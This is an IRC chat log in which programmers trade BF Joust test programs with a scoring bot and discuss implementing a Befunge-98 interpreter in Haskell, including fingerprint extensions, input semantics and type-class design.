16:43:41 <pikhq> Vorpal: The main holdup on them branding the package as Firefox was that the Firefox logo's *copyright* license wasn't DFSG, apparently.
16:43:42 <Gregor> I had to figure this out to get exactly-perfect seamless looping.
16:43:44 <Vorpal> !bfjoust test >->+(>)*7([-][+--.-+]>)*30
16:43:52 <EgoBot> Score for Vorpal_test: 7.2
16:43:58 <Vorpal> !bfjoust test (>)*9([-][+--.-+]>)*30
16:44:01 <pikhq> Vorpal: And you couldn't get a trademark license for the Firefox name without using the Firefox logo.
16:44:09 <EgoBot> Score for Vorpal_test: 14.2
16:44:15 <pikhq> Vorpal: Now, the copyright license is DFSG.
16:44:16 <Vorpal> pikhq, heh
16:44:33 <Gregor> pikhq: That was the original reason, then there was this bulge of other reasons, then those sort of mostly went away, but left the original reason.
16:44:42 <pikhq> Gregor: Ah, right, yes.
16:44:49 <Vorpal> ais523, it seems that if a program sucks in general removing decoys will help
16:44:56 <pikhq> Gregor: It's the *relevant* reason. :)
16:44:59 <Vorpal> due to all those tripwires
16:45:08 <ais523> Vorpal: heh, yes
16:45:27 <ais523> actually, there's only two tripwires on the hill atm (tripstridewire, and shade)
16:45:42 <Vorpal> ais523, you should compare good attackers with and without decoys
16:46:15 <ais523> two good attackers vs. each other, effective decoys (i.e. decoys that are zeroed in the wrong direction) tend to make or break the game
16:46:36 <ais523> tripstridewire vs. mirage is an amazing match to watch in a debugger
16:47:09 <ais523> for some tape lengths, the opposing flag is less than 10 or so when a program loses
16:47:13 * Vorpal imagines BFJoust world cup
16:50:31 <Vorpal> ais523, what does mirage do?
16:50:56 <ais523> it's just a slow rush program
16:51:01 <Vorpal> which means?
16:51:03 <ais523> large decoys, a few tweaks against defenders
16:51:09 <Vorpal> ah
16:51:27 <ais523> it attacks, but slowly, trying to spend time to make the opponent spend more, and so reach the flag first
16:51:41 <coppro> !bfjoust bad (+>->)*40(>[+])*1000
16:51:43 <EgoBot> Score for coppro_bad: 0.0
16:51:47 <coppro> O_o
16:51:59 <coppro> !bfjoust bad (+>->)*10(>[+])*1000
16:52:02 <Vorpal> coppro, it goes off the end of the tape yah
16:52:03 <Vorpal> yeah*
16:52:04 <EgoBot> Score for coppro_bad: 0.0
16:52:25 <Vorpal> try *5
16:52:33 <coppro> !bfjoust bad (+>->)*5(>[+])*1000
16:52:40 <EgoBot> Score for coppro_bad: 10.4
16:52:44 -!- elliott has joined.
16:52:53 <coppro> !bfjoust silly ([[]+])*100
16:53:07 <EgoBot> Score for coppro_silly: 8.2
16:53:20 <Vorpal> coppro, try 10000 or such
16:53:23 <elliott> hi
16:53:26 <coppro> !bfjoust silly ([[]+])*1000000
16:53:28 <Vorpal> elliott, hello
16:53:40 <coppro> Vorpal: happy?
16:53:41 <EgoBot> Score for coppro_silly: 8.2
16:53:45 <coppro> ^
16:53:50 <coppro> made no difference, as expected
16:53:54 <Vorpal> coppro, indeed
16:54:01 <Vorpal> thought it would
16:54:02 <Vorpal> meh
16:54:04 <elliott> Vorpal: I figured out how to do fingerprints nicely
16:54:09 <Vorpal> elliott, mhm
16:54:11 <coppro> !bfjoust silly ([[]------>+<])*100
16:54:14 <Vorpal> elliott, tell
16:54:24 <ais523> I didn't, by the time it's passed the first ] it's generally already lost
16:54:26 <EgoBot> Score for coppro_silly: 8.2
16:54:31 <coppro> huh, interesting
16:54:41 <elliott> Vorpal: http://hpaste.org/43784/fingerprints_4
16:54:44 <coppro> anyway, time to clean up
16:54:53 <elliott> ais523 may also be interested, just for insane Haskell existential typing
16:55:02 <elliott> and type families
16:55:09 <elliott> Vorpal: the example FPsare lower down
16:55:11 <elliott> *FPs are
16:55:42 <Vorpal> elliott, a lot of fingerprints have per-thread state instead
16:56:11 <elliott> Vorpal: that's what FPIPState is for
16:56:19 <elliott> this is a proof of concept so it's commented out
16:56:38 <Vorpal> elliott, do MODU too, so you can test the multiple-fingerprint stuff
16:56:50 <elliott> Vorpal: this doesn't actually work in shiro yet, it's just how to do it from the haskell-side
16:57:19 <ais523> elliott: is "io" in Shiro a function that makes an IO action into a Shiro action?
16:57:20 <elliott> and it only requires five type-system extensions!
16:57:35 <elliott> ais523: er, yes; been reading the interpreter code I pasted?
16:57:38 <elliott> ais523: It's just an alias for liftIO
16:57:47 <ais523> yes, I have
16:57:49 <ais523> :t liftIO
16:57:50 <lambdabot> Ambiguous occurrence `liftIO'
16:57:50 <lambdabot> It could refer to either `Control.Monad.Error.liftIO', imported from Control.Monad.Error
16:57:50 <lambdabot> or `Control.Monad.Logic.liftIO', imported from Control.Monad.Logic
16:57:59 <ais523> :t Control.Monad.Logic.liftIO
16:58:00 <elliott> ais523: liftIO basically amounts to lift . lift . lift for some number of .s
16:58:00 <lambdabot> forall a (m :: * -> *). (Control.Monad.Logic.MonadIO m) => IO a -> m a
16:58:05 <elliott> it's for easy access to the IO monad way under you
16:58:11 <elliott> except in Shiro it's right under you, but whatever
16:58:29 <ais523> and what happens if there isn't one? runtime error?
16:58:36 <elliott> ais523: err, then there's no MonadIO instance
16:58:41 <elliott> so it wouldn't type
16:58:43 <ais523> aha
16:59:10 <ais523> MonadIO is any monad that has IO or involved somewhere? (I take it there isn't an IOT?)
16:59:12 <Vorpal> elliott, do you do mycouser btw?
16:59:14 <ais523> :t IOT
16:59:15 <Vorpal> elliott, for input
16:59:15 <lambdabot> Not in scope: data constructor `IOT'
16:59:18 <ais523> indeed
16:59:22 <elliott> ais523: (1) :t on types doesn't work
16:59:24 <elliott> try :k
16:59:28 <Vorpal> elliott, remember that EOF on stdin is defined to reflect
16:59:29 <ais523> :k IOT
16:59:30 <lambdabot> Not in scope: type constructor or class `IOT'
16:59:30 <Vorpal> not to exit
16:59:33 <elliott> ais523: (2) indeed there isn't, IOT would allow for TwoDucks
16:59:39 <elliott> Vorpal: indeed, I pass mycouser
16:59:50 <ais523> elliott: I forgot that types didn't necessarily have the same name as their constructors
16:59:54 <Vorpal> elliott, even for non-trivial cases such as invalid integer input?
16:59:56 <elliott> doIns i =
16:59:56 <elliott> (doCharIns . chr . fromIntegral $ i)
16:59:56 <elliott> `catchShiro` \(e::IOException) -> do io $ hPutStrLn stderr ("Note: Reflecting on IO exception " ++ show e) -- TODO: remove this
16:59:56 <elliott> reflect
16:59:59 <elliott> so I do handle IO errors
17:00:00 <Vorpal> elliott, like foo instead of an integer?
17:00:00 <elliott> Vorpal: yep
17:00:01 <elliott> Vorpal: I reflect
17:00:10 <Vorpal> elliott, and for ctrl-d too? Good
17:00:20 <elliott> Vorpal: there's one maybe-bug: if you read a character, and you input newline, you have to press newline again to get it accepted
17:00:21 <elliott> not sure why
17:00:24 <elliott> not the highest-priority bug ever
17:00:32 <Vorpal> elliott, yeah it's a bug
17:00:44 <Vorpal> elliott, what do you do on overflow?
17:00:46 <elliott> & does read a whole line, right?
17:00:51 <elliott> Vorpal: erm, good question
17:00:54 <elliott> > show (2^64)
17:00:54 <lambdabot> "18446744073709551616"
17:00:57 <ais523> I thought it was just one char
17:00:58 <Vorpal> elliott, it does if 1y says it is line buffered!
17:01:02 <elliott> I'll try that
17:01:05 <elliott> ais523: it reads a number, so no
17:01:13 <elliott> Vorpal: no, but I mean
17:01:13 <ais523> oh, muddled number and char input
17:01:15 <elliott> if you type
17:01:17 <elliott> 234abc\n
17:01:20 <elliott> it chops out the abc\n
17:01:21 <elliott> right?
17:01:28 <elliott> pretty sure it does
17:01:28 <Vorpal> elliott, it leaves abc\n in the buffer yes
17:01:29 <elliott> otherwise
17:01:31 <elliott> Vorpal: erm
17:01:32 <elliott> no
17:01:35 <elliott> mine just discards it
17:01:35 <Vorpal> elliott, yes it does
17:01:39 <elliott> Vorpal: no, because otherwise,
17:01:39 <Vorpal> elliott, then it is wrong
17:01:43 <elliott> Vorpal: the \n at the end of your line
17:01:49 <elliott> would be given to mycouser's character read
17:01:51 <Vorpal> elliott, \n after integer is special
17:01:55 <elliott> >_<
17:01:58 <elliott> says who
17:01:58 <Vorpal> elliott, ask Deewiant
17:02:00 <elliott> I did
17:02:02 <ais523> Vorpal: does the spec say that?
17:02:04 <elliott> He said my behaviour was probably fine
17:02:05 <elliott> ais523: no
17:02:17 <Vorpal> elliott, well if you check what he implements himself
17:02:20 <elliott> Anyway, I pass all of Mycology including =, i, and o apart from one thing
17:02:24 <Deewiant> elliott: http://iki.fi/deewiant/befunge/mycology-output/input/expected.txt
17:02:25 <Vorpal> ais523, no it doesn't
17:02:26 <elliott> Specifically o can't do text output yet
17:02:44 <elliott> Deewiant: Ah, okay.
17:03:00 <Vorpal> elliott, "Decimal input reads and discards characters until it encounters decimal digit characters, at which point it reads a decimal number from those digits, up until (but not including) the point at which input characters stop being digits, or the point where the next digit would cause a cell overflow, whichever comes first. "
17:03:06 <Vorpal> elliott, please read that carefully
17:03:08 <elliott> Anyway, plans for today: Clean up the code a bit, get Concurrent Funge working, add text output to o.
17:03:13 <elliott> Maybe start integrating the fingerprint system.
17:03:15 -!- iamcal has quit (Ping timeout: 276 seconds).
17:03:16 <Vorpal> elliott, it describes that it *should* leave data. And also how it handles overflow
17:03:21 <elliott> Vorpal: So the \n doesn't get handled specially.
17:03:29 <Vorpal> elliott, so \n should be left I guess yeah
17:03:40 <elliott> So if you enter 17<RET> into mycouser, you never get asked for a character.
17:03:43 <elliott> Discuss.
17:03:47 <Deewiant> Correct.
17:03:53 <elliott> And since terminals are line-buffered usually, there is no real way to do mycouser as a user.
17:03:57 <elliott> Discuss: irony.
17:04:11 <elliott> Well.
17:04:14 <ais523> <Anonymous Coward> Do you have to struggle to resist the urge to plug in more than one vacuum from the same outlet? I'm trying to picture the situation where I'd be tempted to do that, and all I can come up with is defense against a horde of oncoming zombie cats.
17:04:14 <elliott> You could type 123x<RET>.
17:04:29 <Vorpal> Deewiant, hm. but there is nothing in the specs that forbids eating \n in that specific case. I'm pretty sure ccbi (used to?) do it
17:04:29 <ais523> elliott: control-D not at the start of a line flushes the buffer
17:04:36 <Deewiant> Yes, it used to
17:04:45 <elliott> Vorpal: Nothing in the spec forbids you from shaking the terminal window every 5 seconds.
17:04:55 <elliott> Or, when the user enters "x", giving "y".
17:04:57 <Vorpal> elliott, indeed. DO IT!
17:04:59 <elliott> But it's obviously not compliant behaviour.
17:05:04 <Vorpal> Deewiant, besides not doing it breaks a lot of programs.
17:05:09 <elliott> ais523: True :P
17:05:10 <ais523> well, t obviously isn't a forkbomb
17:05:18 <elliott> Vorpal: Breaks a lot of broken programs.
17:05:26 <Vorpal> elliott, like every program then
17:05:32 <Deewiant> There's no such thing as "a lot of programs" when speaking of Befunge-98
17:05:56 <elliott> Incidentally, Shiro:
17:05:58 <elliott> Please input a character: æ
17:05:58 <elliott> UNDEF: got 195 'Ã' which is hopefully correct.
17:05:59 <elliott> :D
17:06:00 <elliott> UNICODE READY
17:06:11 <elliott> (All input and output is treated as Latin-1.)
17:06:20 <elliott> (That's what Haskell calls "binary mode" because you can input and output anything like that.)
17:06:38 <Vorpal> efunge does proper unicode. It expects UTF-8 iirc and converts it to unicode code point internally.
17:06:40 <elliott> Deewiant: What happens on "o" with a cell in the area greater than 255?
17:07:21 <Deewiant> Should match how you do I/O in general
17:07:28 <Deewiant> IMO, just %256 it
17:07:51 <ais523> use an encoding that lets you output it as-is
17:07:55 <ais523> bignum UTF-8 or whatever
17:08:10 <Vorpal> Deewiant, hm. what if there is no "I/O in general". As in you do byte IO for files and utf-8<->unicode conversion for stdio? :D
17:08:28 <Deewiant> IMO, don't do that :-P
17:08:42 <elliott> Deewiant: 99fff**p009900"oof"o
17:08:48 <Vorpal> Deewiant, well I'm not sure the latter is valid for the initial program loading
17:08:49 <elliott> Deewiant: Anything wrong with that test program?
17:08:52 <ais523> what if you take a bitfield on the command line that specifies what to use Unicode for? </perl>
17:09:03 <Deewiant> elliott: Just compare to ccbi :-P
17:09:07 <Vorpal> ais523, it does that?
17:09:21 <ais523> Vorpal: can do, there's an option that does that
17:09:21 <elliott> I think ais523 is insufficiently amazed at my fingerprints stuff, maybe because he has no soul. Or just can't understand how much I'm abusing the type system.
17:09:24 <elliott> Deewiant: I need a test program to do that.
17:09:29 <ais523> elliott: or didn't read it
17:09:30 <elliott> Deewiant: I'm not so good at Befunge. Is that program any good?
17:09:40 <elliott> ais523: I ruled out that option because it's LAME
17:10:11 <Deewiant> elliott: Like said, just run it through ccbi and see if it does something you want it to do
17:10:50 <Vorpal> Deewiant, anyway you should update mycouser to show the prompts so that the element of irony is no longer there
17:10:59 <elliott> Deewiant: Seems to create an empty file :-P
17:11:04 <ais523> hmm, does anyone here know how to write Firefox extensions?
17:11:29 <elliott> Yay, I have a file "foo??" I can't remove.
17:11:38 <Deewiant> rm foo*
17:12:05 <Deewiant> elliott: You probably wanted fff**99p?
17:12:16 <elliott> Deewiant: Seems to output the invalid character as a space.
17:12:21 <elliott> Deewiant: Oh.
17:12:22 <Deewiant> And you don't have a flags cell
17:12:25 <elliott> thx :P
17:12:26 <elliott> Deewiant: I do now.
17:12:37 <elliott> fff**88p990000"oof"o@
17:12:51 <elliott> Deewiant: Outputs as /, so I guess it's mod 256 for CCBI and I'll test it with shiro.
17:13:31 <elliott> Deewiant: Sweet, Shiro does the same :P
17:13:35 <Vorpal> elliott, do you do input truncation correctly for overflow
17:13:36 <elliott> Probably because of Word8 overflow.
17:13:42 <elliott> Vorpal: Uh. What?
17:14:11 <Vorpal> elliott, for &: "[...] at which point it reads a decimal number from those digits, up until (but not including) the point at which input characters stop being digits, or the point where the next digit would cause a cell overflow, whichever comes first."
17:14:20 <pikhq> elliott: I must say, it's genuinely impressive how freaking quickly you got a Befunge-98 interpreter running.
17:14:25 <pikhq> elliott: Just, dang.
17:14:39 <Vorpal> elliott, saturation or wrapping are not valid thus.
17:14:47 <elliott> pikhq: It was mostly me implementing the insane, insane things Deewiant told me.
17:14:54 <pikhq> elliott: Heheheh.
17:14:57 <Vorpal> elliott, so, do you do that correctly?
17:15:02 <elliott> Vorpal: No. No I don't.
17:15:07 <elliott> TODO: Fix.
17:15:07 <Vorpal> elliott, bug! :P
17:15:10 <Vorpal> yeah
17:15:19 <elliott> Does _anyone_ actually use &?
17:15:23 <Deewiant> And yes, I know Mycology doesn't test that.
17:15:25 <Vorpal> Deewiant, does ccbi do it correctly? iirc you don't test it in your mycology rankings
17:15:31 <elliott> Deewiant: Does if you give it enough digits.
17:15:44 <elliott> Vorpal: Uh, yes he does?
17:15:49 <Deewiant> Yes, but my rankings should probably test it
17:15:51 <Vorpal> elliott, not this behaviour of &
17:16:13 <Vorpal> elliott, in the rankings if that is what you meant
17:16:16 <elliott> Oh, I thought you meant CCBI.
17:16:18 <elliott> :t unGetChar
17:16:19 <lambdabot> Not in scope: `unGetChar'
17:16:20 <elliott> Please exist.
17:16:22 <elliott> Fuck.
17:16:23 <elliott> @hoogle ungetc
17:16:24 <lambdabot> Control.Concurrent.Chan unGetChan :: Chan a -> a -> IO ()
17:16:27 <elliott> @hoogle getc
17:16:28 <lambdabot> Network.CGI.Protocol getCGIVars :: MonadIO m => m [(String, String)]
17:16:28 <lambdabot> Control.Concurrent.Chan getChanContents :: Chan a -> IO [a]
17:16:28 <lambdabot> Prelude getChar :: IO Char
17:17:00 <Deewiant> elliott: CCBI implements unget manually too, FWIW
17:17:02 <Vorpal> elliott, I solve it by keeping a line buffer in the program anyway. Even though C has ungetc
17:17:14 <Deewiant> Why don't you use ungetc?
17:17:15 <Vorpal> since it is more practical for various fingerprints
17:17:16 <elliott> Deewiant: I really don't want to keep track of even more state :P
17:17:20 <elliott> But I might.
17:17:27 <elliott> It'll be nicer once I have the accessors going nicely.
17:17:31 <elliott> Probably going to use data-accessors.
17:18:04 <elliott> *Main> testShow
17:18:04 <Vorpal> Deewiant, it is more practical for stuff like STRN's I. And it means my algorithm can just work on an array of chars rather than having to getc in various places. So less confusing code my way too.
17:18:04 <elliott> NULL -- ()
17:18:04 <elliott> ROMA -- ()
17:18:04 <elliott> SLLY -- True
17:18:10 <elliott> I love how I can print all the fingerprints' state out dynamically.
17:18:15 <elliott> That's going in the debugger. :p
17:18:16 <Deewiant> Fair enough
17:19:36 <elliott> I should pirate Mathematica sometime, W|A is really irritating.
17:19:51 <Vorpal> elliott, I thought you done that in the past?
17:19:56 <pikhq> elliott: Yeah, and Maxima is not the easiest thing to use.
17:19:59 <elliott> Yeah, but not on here.
17:20:40 <elliott> Wait a second. That wrapping loops seems hideously inefficient. I'm sure you could make it O(1) by ... oh, that's probably what CCBI does. Deewiant? :P
17:20:44 <Vorpal> pikhq, it is not that much harder given that wxwidgets frontend
17:21:08 <Vorpal> elliott, get everything working first. Then worry about efficiency.
17:21:18 <Deewiant> elliott: It's not O(1) in CCBI.
17:21:21 <Vorpal> elliott, premature optimisation and so on
17:21:30 <elliott> Vorpal: It just irks me to have a loop for something that I'm pretty sure doesn't need to loop.
17:21:45 <Deewiant> I can't remember what it is but there's a pathological case where the delta is 2^cellsize - 1, or something.
17:21:58 <elliott> Vorpal: But, uh, I plan to do that population count thing sometime soon.
17:22:22 <elliott> Deewiant: Hell, my interpreter will crash and burn if your Haskell's Ints are less than 32 bit (they only have to store up to 2^29 inclusive).
17:22:25 <elliott> > maxBound :: Int
17:22:26 <lambdabot> 9223372036854775807
17:22:27 <elliott> > maxBound :: Int64
17:22:28 <lambdabot> 9223372036854775807
17:22:31 <Vorpal> Deewiant, shouldn't you be able to solve it as a linear equation system hm. Wait two different ones. Depending on which edge it might hit
17:22:45 <Vorpal> and hm you need to follow the line backwards to detect ... right
17:22:48 <Deewiant> My situation is more complicated than just moving into one bounding box :-P
17:23:01 <Deewiant> I need to find the first of N bounding boxes that gets hit
17:23:09 <Vorpal> Deewiant, you still need to get integer coords on that line after solving the equation system
17:23:22 <Vorpal> which does complicate stuff
17:23:43 <oerjan> @hoogle unget
17:23:43 <lambdabot> Control.Concurrent.Chan unGetChan :: Chan a -> a -> IO ()
17:23:44 <lambdabot> Control.Concurrent.STM.TChan unGetTChan :: TChan a -> a -> STM ()
17:23:55 <oerjan> @hoogle unget :: Handle -> IO ()
17:23:56 <lambdabot> Control.Concurrent.Chan unGetChan :: Chan a -> a -> IO ()
17:24:14 <Zuu> i smell haskell
17:24:16 <oerjan> i'm pretty sure it _does_ exist
17:24:41 <Vorpal> oerjan, you could easily implement it in terms of IOT right? :P
17:24:41 <Deewiant> I'm pretty sure it doesn't
17:24:50 <oerjan> MAYBE
17:25:14 <elliott> Deewiant: YOU haven't even gawped over my abuse of the type system
17:25:14 <elliott> wait
17:25:15 <elliott> oerjan
17:25:16 <elliott> the perfect prey
17:25:41 <elliott> oerjan: http://hpaste.org/43785/fingerprints_5
17:25:46 <elliott> oerjan: {-# LANGUAGE TypeFamilies, ExistentialQuantification, FlexibleContexts, DeriveDataTypeable, StandaloneDeriving #-}
17:26:08 <Vorpal> elliott, the easy way to do it is like an ordered set of stacks of lambdas
17:26:23 <elliott> Vorpal: Yes, that's still how it'll work in my system.
17:26:31 <oerjan> elliott: i looked at your existentialism previously, pretty neat
17:26:33 <elliott> Vorpal: Wait, ordered set of stacks? Not just a stack?
17:26:34 <Vorpal> elliott, so why do you need all that abuse
17:26:41 <elliott> oerjan: More like pretty horrifying.
17:26:43 <Deewiant> elliott: One stack per instruction
17:26:43 <Vorpal> elliott, you need a stack per instruction
17:26:46 <elliott> Right.
17:26:49 <elliott> Vorpal: This is just how it works from the Haskell end.
17:26:58 <elliott> Vorpal: It allows me to define new fingerprints with minimal fuss.
17:27:02 <elliott> Very minimal fuss.
17:27:17 <Vorpal> elliott, couldn't you just do what I said from the haskell side easily?
17:27:19 <elliott> Vorpal: And it allows any random person to add a fingerprint with its own per-IP and global state without having to change the Shiro internal state record.
17:27:28 <elliott> Vorpal: Yes, if I was willing to hardcore every fingerprint into the core.
17:27:35 <elliott> Which I'm not, that's just retarded.
17:27:38 <Vorpal> elliott, uh why would you need that :P
17:27:44 <elliott> Vorpal: Or if I was willing to completely sacrifice any sort of safety, I guess.
17:27:52 <elliott> But this is by far the nicest way.
17:28:31 <Vorpal> elliott, how so? wouldn't the type of the *lambda* be: f ip -> stack -> (ip, stack) or such?
17:28:36 <elliott> *sigh*
17:28:40 <Vorpal> unless your stack is in your ip
17:28:49 <Vorpal> in which case it is trivial
17:28:50 <oerjan> @hoogle hunget
17:28:50 <lambdabot> No results found
17:28:53 <elliott> Firstly, I have a monad.
17:28:58 <elliott> Secondly, just no.
17:29:00 <Vorpal> elliott, oh right
17:29:29 <Vorpal> elliott, well okay, my solution is 1) pure 2) only allows a handful of feral fingerprints
17:29:38 <Vorpal> actually I forgot fungespace there
17:29:52 <Vorpal> f ip -> fungespace -> (ip,fungespace) would be better
17:30:02 <elliott> Vorpal: IMPLEMENTING A FINGERPRINT WITHOUT THIS SYSTEM: Edit the state definition, manually add in your new piece of state. Edit the IP record, manually add in your own piece of state. Write a bunch of implementations using and modifying that state directly (semi-awkward). Manually edit the place where fingerprints are looked up. Blah blah blah.
17:30:10 <elliott> IMPLEMENTING A FINGERPRINT WITH MY SYSTEM:
17:30:19 <Gregor> "We start with specially-selected farm-grown potatoes" Is the definition of "farm" so restrictive that this gains anything by adding it? I mean, huge corporate metafarms are still farms...
17:30:25 <elliott> Create a module. Add an identifier type. Write a Fingerprint instance.
17:30:32 <elliott> Edit Fingerprints.hs, add yours to the list of available fingerprints.
17:30:34 <elliott> Recompile.
17:30:49 <elliott> Vorpal: Also, monads are just as pure as that, you dolt.
17:30:54 <elliott> What do you think the State monad is?
17:31:01 <pikhq> Gregor: I'm pretty sure that anywhere that produce is intentionally grown for consumption can count as a "farm".
17:31:04 <elliott> It's exactly "state -> (result, state)".
17:31:09 <elliott> The reason we use the state monad is that using that is a bitch.
17:31:15 <elliott> But that's exactly how it's implemented.
17:31:19 <Gregor> pikhq: Right, hence why "farm-grown" is totally meaningless here.
17:31:24 <Vorpal> elliott, actually this can be trivially solved if the ip has some fingerintdata member that implements a key,value storage. Anyway who would need to store more than a single type! ;P
17:31:33 <Gregor> pikhq: I guess "grown" isn't meaningless, it means they didn't replicate the potatoes :P
17:31:37 <elliott> Vorpal: Yes, but then the state would not be type-safe.
17:31:39 <elliott> Or typed at all.
17:31:44 <Vorpal> elliott, true :P
17:31:47 <pikhq> Gregor: Wrong.
17:31:47 <elliott> Which is "retarded", technical term.
17:31:54 <pikhq> Gregor: You generally clone potatoes.
17:32:16 <Gregor> *brain axplote*
17:32:18 <pikhq> (cut the eyes from a potato and plant it? Congrats, you're CLONING!)
17:32:20 <elliott> oerjan: http://www.haskell.org/ghc/docs/latest/html/libraries/base/System-IO.html I don't see any ungetc.
17:32:30 <pikhq> It's really fucking easy to clone plants. :)
17:32:38 <Vorpal> elliott, indeed. Unless you made that type auto generated from a handful of fingerprint definition files so it ends up as a list of "tagged types" in effect. Though that would be ugly.
17:32:52 <elliott> Vorpal: That would be what I do now, except requiring a preprocessor and being hideous.
17:32:56 <oerjan> elliott: i couldn't find it either
17:32:57 <elliott> Well, "do now" = in that proof of concept.
17:33:16 <oerjan> wth do i feel i _have_ seen such a thing
17:33:22 <elliott> oerjan: Hugs-specific maybe?
17:33:35 <Vorpal> elliott, anyway you still need to tell ( and ) about the list of possible fingerprints somewhere. Unless you do some sort of crazy reflection or similar.
17:33:44 <Vorpal> (can haskell even do that?)
17:33:49 <elliott> Vorpal: Yes, yes it can, and that's what I'm doing.
17:33:50 <elliott> Vorpal: Well.
17:33:55 <Vorpal> elliott, haha XD
17:33:57 <elliott> Vorpal: There is exactly one list of available fingerprints.
17:34:07 <elliott> Vorpal: I *could* use Template Haskell to generate it from the list of files in Shiro/Fingerprints/ at compile time.
17:34:09 <Vorpal> elliott, yep.
17:34:10 <elliott> Vorpal: But that sounds Super Ugly.
17:34:15 <elliott> I'd prefer to maintain a manual list.
17:34:17 <elliott> More robust.
17:34:22 <Vorpal> elliott, for C it is the best solution (auto generating the list)
17:34:29 <Vorpal> which is why cfunge has a shell script to do that
17:34:32 <elliott> Yeah, because in C it'd be complicated :P
17:34:38 <elliott> With this, it's basically...
17:34:41 <elliott> <insert new line>
17:34:44 <elliott> , FP MKRY
17:34:49 <elliott> <C-x C-s>
17:34:58 <elliott> Oh, I forgot; at the top of the file:
17:34:59 <Vorpal> elliott, yeah reflection in C is... likely impossible unless you use -g and basically implement 1/3rd of a debugger
17:35:04 <elliott> import Shiro.Fingerprints.MKRY (MKRY)
17:35:29 <Vorpal> elliott, wait you still need to edit some list file?
17:35:36 <elliott> Vorpal: Yes. As I said,
17:35:42 <elliott> <elliott> Vorpal: I *could* use Template Haskell to generate it from the list of files in Shiro/Fingerprints/ at compile time.<elliott> Vorpal: But that sounds Super Ugly.
17:35:43 <elliott> <elliott> I'd prefer to maintain a manual list.
17:35:49 <elliott> Vorpal: I'd *prefer* to; I don't *have* to.
17:36:05 <Vorpal> elliott, for cfunge it is completely automagic. Run a shell script. Force Makefile to be re-generated. Build. Run.
17:36:10 <elliott> Vorpal: For instance, if I make a module called Shiro.Fingerprints.Helpers, like helper functions for fingerprints or something, having that be treat as a fingerprint automatically would be irritating.
17:36:20 <elliott> Also, I don't really care. It's manual because I want it to be.
17:36:23 <Vorpal> elliott, yeah true
17:36:40 <elliott> If Haskell had better dynamic loading capabilities, I'd let you load a fingerprint from an .so :P
17:36:43 -!- cal153 has joined.
17:36:48 <elliott> But I don't think you can make that work with types and the like.
17:36:57 <Vorpal> elliott, I think ccbi does some crazy completely runtime thingy for it
17:37:04 <Vorpal> I forgot what it did
17:37:05 <elliott> It would basically be like using a C FFI, I think.
17:37:10 <Vorpal> elliott, some D-magic iirc
17:37:10 <elliott> Except calling Haskell functions. With C types.
17:37:16 <oerjan> elliott: hm, there _is_ hLookAhead though
17:37:21 <elliott> oerjan: aha
17:37:23 <elliott> :t hLookAhead
17:37:24 <lambdabot> Not in scope: `hLookAhead'
17:37:37 <elliott> :t System.IO.hLookAhead
17:37:38 <lambdabot> GHC.IO.Handle.Types.Handle -> IO Char
17:37:42 <Vorpal> <elliott> Except calling Haskell functions. With C types. <-- DO IT!
17:37:43 <elliott> excellent
17:37:46 <elliott> hmm
17:38:00 <Vorpal> elliott, also: I'm sure someone written some sort of plugin system for haskell by now
17:38:05 <Vorpal> checked hackage?
17:38:14 <elliott> *** Exception: <stdout>: hLookAhead: illegal operation (handle is not open for reading)
17:38:15 <elliott> mrf
17:38:22 <elliott> Vorpal: well probably, it's just that I couldn't do it the way I want.
17:38:24 <elliott> which is important :)
17:38:34 <Vorpal> elliott, right
17:38:52 <elliott> OK, first thing's first: I'm going to implement Num Vector.
17:38:56 <pikhq> Calling Haskell functions with C types is entirely possible. :P
17:39:02 <elliott> Because I've had enough of pattern-matching two tuples and adding their components manually.
17:39:03 <Vorpal> elliott, Num Vector?
17:39:06 <Vorpal> ah
17:39:09 <elliott> Vorpal: So I can do vector + vector and the like.
17:39:48 <Vorpal> elliott, most of the time you only need to add two specific vectors I find: storage offset and whatever it is that you need to be relative it
17:40:05 <pikhq> Gah... Screw Num so much.
17:40:07 <elliott> Hmm...
17:40:12 <elliott> What's fromInteger :: Integer -> (Value,Value)
17:40:13 <elliott> :-P
17:40:22 <Vorpal> elliott, a type?
17:40:25 <Deewiant> join (,)
17:40:29 <elliott> I mean, how can I implement that sanely.
17:40:31 <elliott> Deewiant: Yeah, probably.
17:40:32 <Vorpal> ah
17:40:32 <elliott> Ugly, but whatever.
17:40:47 <elliott> Deewiant: Also, you forgot fromInteger on the elements.
17:40:47 <Vorpal> :t join
17:40:47 <Deewiant> error "wtf"
17:40:48 <lambdabot> forall (m :: * -> *) a. (Monad m) => m (m a) -> m a
17:40:50 <elliott> fromInteger a = (fromInteger a, fromInteger a)
17:40:56 <Deewiant> elliott: No, you forgot to make Value an Integer
17:41:02 <elliott> Does |(x,y)| even make sense.
17:41:03 <elliott> Deewiant: Hur hur
17:41:20 <elliott> Shiro/Value.hs:8:9:
17:41:20 <elliott> Warning: No explicit method nor default method for `signum'
17:41:23 <elliott> HOW AM I MEANT TO IMPLEMENT THAT
17:41:25 <elliott> YOU'RE STUPID
17:41:35 <Vorpal> :t signum
17:41:36 <lambdabot> forall a. (Num a) => a -> a
17:41:38 <elliott> Oh wait.
17:41:41 <elliott> Just do signum on each component X-P
17:41:50 <Vorpal> elliott, and if they differ?
17:41:51 <elliott> Then it also becomes a make-flying-into-cardinal function.
17:41:59 <elliott> Vorpal: It's Vector -> Vector.
17:42:09 <Vorpal> elliott, why does it need signum though?
17:42:20 <Vorpal> elliott, oh because of Num?
17:42:25 <Deewiant> (1,1) ain't cardinal
17:42:27 <elliott> Because when the designers of Haskell decided to make the numeric typeclass, they decided to be really stupid about us.
17:42:31 <elliott> Because they hate us.
17:42:35 <Vorpal> and yeah what Deewiant said
17:42:35 <elliott> Deewiant: Err, right. It's a "slow down" function then. :p
17:42:58 -!- asiekierka has quit (Ping timeout: 260 seconds).
17:43:11 <Vorpal> elliott, "slow down and align to cardinal or straight diagonals" even
17:44:01 <Vorpal> elliott, signum seems sensible to have for Num
17:44:11 <Vorpal> but Num Vector doesn't seem as sensible to me
17:44:36 <elliott> Vorpal: (a,b) + (c,d) is perfectly well-defined.
17:44:43 <Vorpal> elliott, yes indeed
17:44:51 <elliott> Num is just stupid :P
17:45:01 <Vorpal> elliott, but abs Vector -> Vector is nonsense
17:45:08 <elliott> abs (a,b) = (abs a, abs b)
17:45:14 <Vorpal> elliott, abs Vector -> Cardinal is a lot more sensible
17:45:14 <elliott> Close enough.
17:45:24 <Phantom_Hoover> What's wrong with Num?
17:45:28 <Phantom_Hoover> :i Num
17:45:30 <Vorpal> err Saclar
17:45:33 <Vorpal> Scalar*
17:45:38 <Vorpal> how did I typo that as Cardinal XD
